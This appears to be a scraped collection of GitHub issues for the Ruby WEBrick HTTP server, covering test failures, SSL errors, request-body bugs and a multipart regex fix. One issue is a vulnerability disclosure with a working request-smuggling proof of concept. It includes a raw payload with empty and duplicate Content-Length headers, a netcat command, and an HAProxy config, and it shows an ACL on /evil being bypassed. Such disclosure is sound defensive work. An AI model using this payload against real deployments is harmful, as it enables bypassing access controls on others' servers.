<REGEXP> in assert_not_match(<REGEXP>, ...) should be a Regexp.
<"cracked_indicator_for_test"> was expected to be instance_of?
<Regexp> but was
<String>.
==========================================================================================================
/tmp/guix-build-ruby-webrick-1.8.1.drv-1/source/lib/webrick/httpresponse.rb:260: warning: instance variable @upgrade not initialized
F
==========================================================================================================
92: io.rewind
93: res = Net::HTTPResponse.read_new(Net::BufferedIO.new(io))
94: assert_equal '500', res.code
=> 95: refute_match 'cracked_indicator_for_test', io.string
96: end
97:
98: def test_set_redirect_response_splitting
/tmp/guix-build-ruby-webrick-1.8.1.drv-1/source/test/webrick/test_httpresponse.rb:95:in `test_prevent_response_splitting_cookie_headers_lf'
Failure: test_prevent_response_splitting_cookie_headers_lf(WEBrick::TestHTTPResponse):
<REGEXP> in assert_not_match(<REGEXP>, ...) should be a Regexp.
<"cracked_indicator_for_test"> was expected to be instance_of?
<Regexp> but was
<String>.
==========================================================================================================
/tmp/guix-build-ruby-webrick-1.8.1.drv-1/source/lib/webrick/httpresponse.rb:260: warning: instance variable @upgrade not initialized
F
==========================================================================================================
60: io.rewind
61: res = Net::HTTPResponse.read_new(Net::BufferedIO.new(io))
62: assert_equal '500', res.code
=> 63: refute_match 'cracked_indicator_for_test', io.string
64: end
65:
66: def test_prevent_response_splitting_cookie_headers_cr
/tmp/guix-build-ruby-webrick-1.8.1.drv-1/source/test/webrick/test_httpresponse.rb:63:in `test_prevent_response_splitting_headers_cr'
Failure: test_prevent_response_splitting_headers_cr(WEBrick::TestHTTPResponse):
<REGEXP> in assert_not_match(<REGEXP>, ...) should be a Regexp.
<"cracked_indicator_for_test"> was expected to be instance_of?
<Regexp> but was
<String>.
==========================================================================================================
/tmp/guix-build-ruby-webrick-1.8.1.drv-1/source/lib/webrick/httpresponse.rb:260: warning: instance variable @upgrade not initialized
F
==========================================================================================================
39: io.rewind
40: res = Net::HTTPResponse.read_new(Net::BufferedIO.new(io))
41: assert_equal '500', res.code
=> 42: refute_match 'cracked_indicator_for_test', io.string
43: end
44:
45: def test_prevent_response_splitting_cookie_headers_crlf
/tmp/guix-build-ruby-webrick-1.8.1.drv-1/source/test/webrick/test_httpresponse.rb:42:in `test_prevent_response_splitting_headers_crlf'
Failure: test_prevent_response_splitting_headers_crlf(WEBrick::TestHTTPResponse):
<REGEXP> in assert_not_match(<REGEXP>, ...) should be a Regexp.
<"cracked_indicator_for_test"> was expected to be instance_of?
<Regexp> but was
<String>.
==========================================================================================================
/tmp/guix-build-ruby-webrick-1.8.1.drv-1/source/lib/webrick/httpresponse.rb:260: warning: instance variable @upgrade not initialized
F
==========================================================================================================
81: io.rewind
82: res = Net::HTTPResponse.read_new(Net::BufferedIO.new(io))
83: assert_equal '500', res.code
=> 84: refute_match 'cracked_indicator_for_test', io.string
85: end
86:
87: def test_prevent_response_splitting_cookie_headers_lf
/tmp/guix-build-ruby-webrick-1.8.1.drv-1/source/test/webrick/test_httpresponse.rb:84:in `test_prevent_response_splitting_headers_lf'
Failure: test_prevent_response_splitting_headers_lf(WEBrick::TestHTTPResponse):
<REGEXP> in assert_not_match(<REGEXP>, ...) should be a Regexp.
<"cracked_indicator_for_test"> was expected to be instance_of?
<Regexp> but was
<String>.
==========================================================================================================
...../tmp/guix-build-ruby-webrick-1.8.1.drv-1/source/lib/webrick/httpresponse.rb:260: warning: instance variable @upgrade not initialized
......./tmp/guix-build-ruby-webrick-1.8.1.drv-1/source/lib/webrick/httpresponse.rb:260: warning: instance variable @upgrade not initialized
..
Finished in 7.279902005 seconds.
----------------------------------------------------------------------------------------------------------
138 tests, 790 assertions, 6 failures, 0 errors, 0 pendings, 0 omissions, 0 notifications
95.6522% passed
----------------------------------------------------------------------------------------------------------
18.96 tests/s, 108.52 assertions/s
rake aborted!
Command failed with status (1)
Any idea what they could be caused by?
Thanks!
Executing excon test suite with Ruby 3.1 and OpenSSL 3.0, I observe following errors:
Excon basics (ssl) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[2022-02-23 03:58:50] ERROR OpenSSL::SSL::SSLError: SSL_read: unexpected eof while reading
/usr/share/ruby/openssl/buffering.rb:80:in `sysread'
/usr/share/ruby/openssl/buffering.rb:80:in `fill_rbuff'
/usr/share/ruby/openssl/buffering.rb:332:in `eof?'
/usr/share/gems/gems/webrick-1.7.0/lib/webrick/httpserver.rb:82:in `run'
/usr/share/gems/gems/webrick-1.7.0/lib/webrick/server.rb:310:in `block in start_thread'
This reminds me issues I had with Puma. There is also more details in ruby/openssl ticket
WEBrick is vulnerable to request smuggling when it is deployed behind a reverse proxy with the following two properties:
Content-Length
headers, of which the first is empty.Content-Length
header over the first.HAProxy exhibited both of these behaviors until a few days ago. See CVE-2023-40225 for details.
WEBrick is vulnerable for two reasons:
Content-Length
headers to have a value of 0
, andContent-Length
header over the rest if a request contains multiple Content-Length
headers.I suggest that WEBrick start rejecting messages with empty or multiple different Content-Length
values. This is what most other web servers do, including Nginx, Apache, Lighttpd, H2O, IIS, Node.js, and LiteSpeed.
Suppose that we have WEBrick deployed behind a reverse proxy with the aforementioned properties (e.g. HAProxy 2.8.0) that has an ACL rule blocking access to the /evil
directory on the WEBrick host.
The following payload will bypass the ACL rule:
GET / HTTP/1.1\r\n
Content-Length: \r\n
Content-Length: 43\r\n
\r\n
POST /evil HTTP/1.1\r\n
Content-Length: 18\r\n
\r\n
GET / HTTP/1.1\r\n
\r\n
This works because HAProxy sees the payload as two GET
requests for /
, but WEBrick sees the payload as a GET
request for /
and a POST
request for /evil
.
docker run --workdir /repro -it alpine:3.18.0
)cd /repro
apk add git autoconf gcc musl-dev make ruby-dev libffi-dev openssl-dev zlib-dev yaml-dev
git clone --depth 1 "https://github.com/ruby/ruby"
cd ruby
./autogen.sh
./configure
make -j$(nproc)
make install
cd /repro
git clone "https://github.com/ruby/webrick"
cd webrick
gem build
gem install ./webrick*.gem
cd /repro
git clone "https://github.com/haproxy/haproxy"
cd haproxy
git checkout v2.8.0
make -j`nproc` TARGET=linux-musl
make install
ruby /repro/server.rb &
/evil
:haproxy -f /repro/haproxy.conf &
printf 'GET / HTTP/1.1\r\nContent-Length: \r\nContent-Length: 43\r\n\r\nPOST /evil HTTP/1.1\r\nContent-Length: 18\r\n\r\nGET / HTTP/1.1\r\n\r\n' | nc localhost 80
/evil
, indicating that the ACL has been bypassed:127.0.0.1 - - [14/Aug/2023:22:37:18 UTC] "GET / HTTP/1.1" 200 0
- -> /
...
127.0.0.1 - - [14/Aug/2023:22:37:18 UTC] "POST /evil HTTP/1.1" 200 0
- -> /evil
/repro/server.rb
require 'webrick'
server = WEBrick::HTTPServer.new({:Port => 8080})
server.mount_proc '/' do |request, response|
response.status = 200
end
server.start()
/repro/haproxy.conf
global
maxconn 4096
defaults
mode http
option http-keep-alive
timeout client 1s
timeout connect 1s
timeout server 1s
timeout http-request 1s
http-reuse always
frontend the_frontend
bind 0.0.0.0:80
default_backend the_backend
http-request deny if { path -i -m beg /evil }
backend the_backend
server server1 localhost:8080
WEBrick should reject any message that contains an empty Content-Length
header. WEBrick should also reject any message containing multiple Content-Length
headers, especially if those headers do not all have the same value. See here for the relevant portion of the standard.
I tried to test the theme locally, but it threw an error. It could not require webrick. I manually added the gem to the Gemfile, installed again and then it worked.
I am not a ruby dev, so I am wondering if this is the correct way to do it?
The contract of readpartial
is that it will return up to the amount requested and no more. However the implementation of readpartial
in WEBrick's HTTPRequest does not honor this contract:
webrick/lib/webrick/httprequest.rb
Lines 276 to 284 in 6b6990e
The assumption described here may hold in CRuby, but in JRuby's implementation of copy_stream
we may use an intermediate buffer to hold data on its way, and if readpartial
returns more data than requested we will overflow that buffer. I will be fixing JRuby to raise a more Ruby-friendly error, but it's still going to be an error if we readpartial
N bytes and get N+1.
This is the root cause of a failure in test_big_bodies
from test_httpproxy.rb as described in jruby/jruby#6246. The copy_stream
call deep inside the proxy test fails due to this buffer overflow, which causes the request's piped content to be prematurely closed and the proxy test to error out while trying to write request data.
webrick/test/webrick/test_httpproxy.rb
Line 189 in ec5372f
When making a PUT/POST request with an empty body, we're seeing all requests hang forever. This seems to have started since 069e9b1. Reverting to version 1.6.1
takes us back to the previous behaviour (which is an instant 411
response).
@OsamaSayegh shared some details in #30:
It seems like WEBrick still doesn't allow POST/PUT requests with empty body, but the difference now is that the server doesn't respond with a 411, instead the request is blocked forever because the server gets stuck at the eof call here:
webrick/lib/webrick/httprequest.rb
Line 525 in cda6d40
I can repro with this script:
require 'webrick' class Simple < WEBrick::HTTPServlet::AbstractServlet def do_GET(req, res) puts "Hello world!" res.status = 200 res.body = "Hello world!" end alias do_POST do_GET end server = WEBrick::HTTPServer.new(Port: 9988) server.logger.level = 5 server.mount '/', Simple server.startAnd:
~ » curl -X POST --verbose localhost:9988 * Trying 127.0.0.1:9988... * TCP_NODELAY set * Connected to localhost (127.0.0.1) port 9988 (#0) > POST / HTTP/1.1 > Host: localhost:9988 > User-Agent: curl/7.68.0 > Accept: */* > # blocks forever; I have to Ctrl+C it
Based on the README it feels like WEBrick can only serve static files.
Suggestion/feature request: add a link to where more example can be found, ex: https://docs.ruby-lang.org/en/2.4.0/WEBrick.html
Cheers!
Hello,
httprequest.rb is implemented as follows:
def parse_query()
begin
...
elsif self['content-type'] =~ /^multipart\/form-data; boundary=(.+)/
...
But some http clients use "multipart/form-data;boundary=...". (there is no space between ; and boundary).
RFC2045 does not tell about the spaces.
https://tools.ietf.org/html/rfc2045#section-5.1
I suggest the following code.
def parse_query()
begin
...
elsif self['content-type'] =~ /^multipart\/form-data; *boundary=(.+)/
...
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.